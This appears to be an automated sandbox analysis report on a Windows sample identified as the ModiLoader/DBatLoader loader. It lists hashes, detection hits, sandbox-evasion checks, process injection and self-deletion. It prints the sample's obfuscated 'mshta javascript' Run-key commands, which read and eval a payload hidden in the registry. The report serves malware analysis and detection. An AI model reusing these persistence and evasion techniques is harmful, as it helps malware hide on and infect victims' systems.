Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
27-05-2024 19:50
Static task
static1
Behavioral task
behavioral1
Sample
7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe
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Size
435KB
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MD5
7a5080a2c1c17eb493f2d74093ed5436
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SHA1
d330cdeba49b45b501233a7d2641c86fdbfd9f3a
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SHA256
6cb0a95033f243928461a46cdcd6784a6b88dde13b950f40debcb6e280fe41dd
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SHA512
e06e0487aed741c5af4a933d683cb45b8913673920d121f5c13cbd8ead0a50f2116ab897ae653b143b065a2640e395550f60ea53d0ecac022cdf83fd7eb09fcb
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SSDEEP
6144:9EKmhR0tfUs5PQaBMMuFPCoEHpJTqzgjg8JRLu9TLeIYX6Z9+iviGSDiBvDrtlYu:Wbhq1U25qCT2QpJRyhKXjiviGXtb
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 48 IoCs
Processes:
resource yara_rule behavioral2/memory/2664-3-0x0000000000400000-0x0000000000473000-memory.dmp modiloader_stage2 behavioral2/memory/2664-5-0x0000000000060000-0x0000000000124000-memory.dmp modiloader_stage2 behavioral2/memory/2664-7-0x0000000000060000-0x0000000000124000-memory.dmp modiloader_stage2 behavioral2/memory/2664-8-0x0000000000400000-0x0000000000473000-memory.dmp modiloader_stage2 behavioral2/memory/2228-10-0x0000000000BD0000-0x0000000000C94000-memory.dmp modiloader_stage2 behavioral2/memory/2228-11-0x0000000000BD0000-0x0000000000C94000-memory.dmp modiloader_stage2 behavioral2/memory/2552-15-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-18-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-20-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-19-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-17-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-22-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-21-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-23-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-16-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-24-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-25-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/4292-27-0x0000000000A40000-0x0000000000B04000-memory.dmp modiloader_stage2 behavioral2/memory/4292-32-0x0000000000A40000-0x0000000000B04000-memory.dmp modiloader_stage2 behavioral2/memory/4292-31-0x0000000000A40000-0x0000000000B04000-memory.dmp modiloader_stage2 behavioral2/memory/4292-30-0x0000000000A40000-0x0000000000B04000-memory.dmp modiloader_stage2 behavioral2/memory/4292-29-0x0000000000A40000-0x0000000000B04000-memory.dmp modiloader_stage2 behavioral2/memory/4292-28-0x0000000000A40000-0x0000000000B04000-memory.dmp modiloader_stage2 behavioral2/memory/2552-39-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-41-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-40-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-38-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-37-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-36-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-35-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-34-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-33-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/4484-44-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral2/memory/4484-48-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral2/memory/4484-47-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral2/memory/4484-46-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral2/memory/4484-45-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral2/memory/4484-51-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral2/memory/2552-60-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-63-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-68-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-67-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-66-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-65-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-64-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-62-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-61-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 behavioral2/memory/2552-59-0x0000000000C90000-0x0000000000D54000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:NVwYG6eJx=\"n\";i83I=new%20ActiveXObject(\"WScript.Shell\");ZdkwSi68X=\"AtgB\";yQui16=i83I.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\51881207\\\\36c802c6\");W0bILaPJ=\"i3m9MXXg2\";eval(yQui16);oJCj5ek=\"yp1qCG4qj\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
Processes:
dllhost.exepid process 2552 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:icZUoH7=\"2XQqmSp4It\";y3j=new%20ActiveXObject(\"WScript.Shell\");Vt9TwvY=\"Mke\";vo5X5B=y3j.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\51881207\\\\36c802c6\");mcxrZq8QH=\"beEzJTJn\";eval(vo5X5B);lE7IQCcjh=\"ENyp\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:DSr4Piq=\"98Ekw9\";Uj8=new%20ActiveXObject(\"WScript.Shell\");lYtQDbl68U=\"kY\";Pih2i=Uj8.RegRead(\"HKCU\\\\software\\\\51881207\\\\36c802c6\");dZxxM8CI=\"p758\";eval(Pih2i);uV5r7OLH=\"Ly0N2Q\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 dllhost.exe -
Processes:
dllhost.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhost.exepid process 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exedllhost.exedllhost.exepid process 2664 7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe 2664 7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe 2664 7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe 2228 dllhost.exe 2228 dllhost.exe 2228 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe 2552 dllhost.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exedllhost.exedllhost.exedescription pid process target process PID 2664 wrote to memory of 2228 2664 7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe dllhost.exe PID 2664 wrote to memory of 2228 2664 7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe dllhost.exe PID 2664 wrote to memory of 2228 2664 7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe dllhost.exe PID 2228 wrote to memory of 2552 2228 dllhost.exe dllhost.exe PID 2228 wrote to memory of 2552 2228 dllhost.exe dllhost.exe PID 2228 wrote to memory of 2552 2228 dllhost.exe dllhost.exe PID 2552 wrote to memory of 4292 2552 dllhost.exe dllhost.exe PID 2552 wrote to memory of 4292 2552 dllhost.exe dllhost.exe PID 2552 wrote to memory of 4292 2552 dllhost.exe dllhost.exe PID 2552 wrote to memory of 4484 2552 dllhost.exe explorer.exe PID 2552 wrote to memory of 4484 2552 dllhost.exe explorer.exe PID 2552 wrote to memory of 4484 2552 dllhost.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7a5080a2c1c17eb493f2d74093ed5436_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵PID:4292
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C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵PID:4484
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